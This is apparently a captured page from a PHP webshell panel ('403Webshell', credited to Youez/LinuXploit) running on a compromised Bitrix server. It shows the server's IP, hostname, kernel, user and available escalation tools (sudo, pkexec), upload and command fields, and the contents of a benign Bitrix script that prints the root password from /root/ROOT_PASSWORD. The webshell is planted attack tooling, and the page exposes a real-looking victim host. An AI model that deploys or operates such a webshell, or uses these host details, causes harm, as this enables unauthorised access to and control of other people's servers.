403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/webdir/bin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/webdir/bin/bx_motd
#!/usr/bin/bash
#
# create information about system
#
SETCOLOR_GREEN="echo -en \\033[1;32m"
SETCOLOR_RED="echo -en \\033[1;31m"
SETCOLOR_NORMAL="echo -en \\033[0;39m"
 
SYSTEM_INTERFACES=$(ip link show | egrep -o '^[0-9]+:\s+\S+' | awk '{print $2}' | sed -e 's/://g;s/\s\+//g;' | grep -v '^lo$' | sort)
SYSTEM_INTERFACES_COUNT=$(echo "$SYSTEM_INTERFACES" | wc -l)

SYSTEM_HOSTNAME=$(hostname)
SYSTEM_KERNEL=$(uname -r)
SYSTEM_MEMORY=$(grep MemTotal /proc/meminfo | awk {'printf "%s kB", $2'})
SYSTEM_CPU=$(grep 'model name' /proc/cpuinfo | sed -e 's/model name\s*:\s*//' | head -1)
SYSTEM_CPU_COUNT=$(grep 'model name' -c /proc/cpuinfo )
SYSTEM_BX_VERSION=$(egrep -o "BITRIX_VA_VER=\S+" /root/.bash_profile | awk -F"=" '{print $2}' | sed -e 's/"//g' )

ROCKY_RELEASE_FILE=/etc/rocky-release
ALMA_RELEASE_FILE=/etc/almalinux-release
ORACLE_RELEASE_FILE=/etc/oracle-release
CENTOS_RELEASE_FILE=/etc/centos-release
if [ -f "${ROCKY_RELEASE_FILE}" ];
then
    SYSTEM_OS=$(cat ${ROCKY_RELEASE_FILE})
fi
if [ -f "${ALMA_RELEASE_FILE}" ];
then
    SYSTEM_OS=$(cat ${ALMA_RELEASE_FILE})
fi
if [ -f "${ORACLE_RELEASE_FILE}" ];
then
    SYSTEM_OS=$(cat ${ORACLE_RELEASE_FILE})
fi
if [ -f "${CENTOS_RELEASE_FILE}" ];
then
    SYSTEM_OS=$(cat ${CENTOS_RELEASE_FILE})
fi

ROOTPASSWORD=/root/ROOT_PASSWORD

$SETCOLOR_GREEN
echo "Bitrix VM appliance $SYSTEM_BX_VERSION"
$SETCOLOR_NORMAL
echo

$SETCOLOR_RED
echo "+++++++++++++++++: System Data   :+++++++++++++++++++"
$SETCOLOR_NORMAL
echo "         Hostname: $SYSTEM_HOSTNAME"
echo "           Kernel: $SYSTEM_KERNEL"
echo "               OS: $SYSTEM_OS"
echo "           Memory: $SYSTEM_MEMORY"
echo "              CPU: $SYSTEM_CPU x$SYSTEM_CPU_COUNT"
echo
if [[ $SYSTEM_INTERFACES_COUNT -gt 0 ]]; then
    FIRST_IP=
    for int in $SYSTEM_INTERFACES; do
        $SETCOLOR_RED
        echo "+++++++++++++++++: Interface $int :+++++++++++++++++++"
        $SETCOLOR_NORMAL

        interface_info=$(ip addr show $int)
        ether_addr=$(echo "$interface_info" | egrep -o "ether\s+\S+" | awk '{print $2}')
        inet4_addr=$(echo "$interface_info" | egrep -o "inet\s+\S+" | sed -e 's/^inet\s\+//;s:/[0-9]\+$::;')
        [[ -z "$ether_addr" ]] && ether_addr="undefined"
        [[ -z "$inet4_addr" ]] && inet4_addr="undefined"
        echo "              MAC: $ether_addr" 
        echo "              IP4: $inet4_addr"
        echo

        if [[ ( $inet4_addr != "undefined" ) && ( -z $FIRST_IP ) ]]; then
            FIRST_IP=$inet4_addr
        fi
    done
fi
$SETCOLOR_RED
echo "+++++++++++++++++: Options :+++++++++++++++++++"
$SETCOLOR_NORMAL
if [[ -f $ROOTPASSWORD ]]; then
    $SETCOLOR_RED
    echo "--------------------------------------------"
    echo "You must change the password at next login."
    echo "--------------------------------------------"
    $SETCOLOR_NORMAL
    echo "    root password: $(cat $ROOTPASSWORD)"
fi

if [[ -n $FIRST_IP ]]; then
    $SETCOLOR_GREEN
    echo "       bitrix url: http://$FIRST_IP/"
    $SETCOLOR_NORMAL
fi

Youez - 2016 - github.com/yon3zu
LinuXploit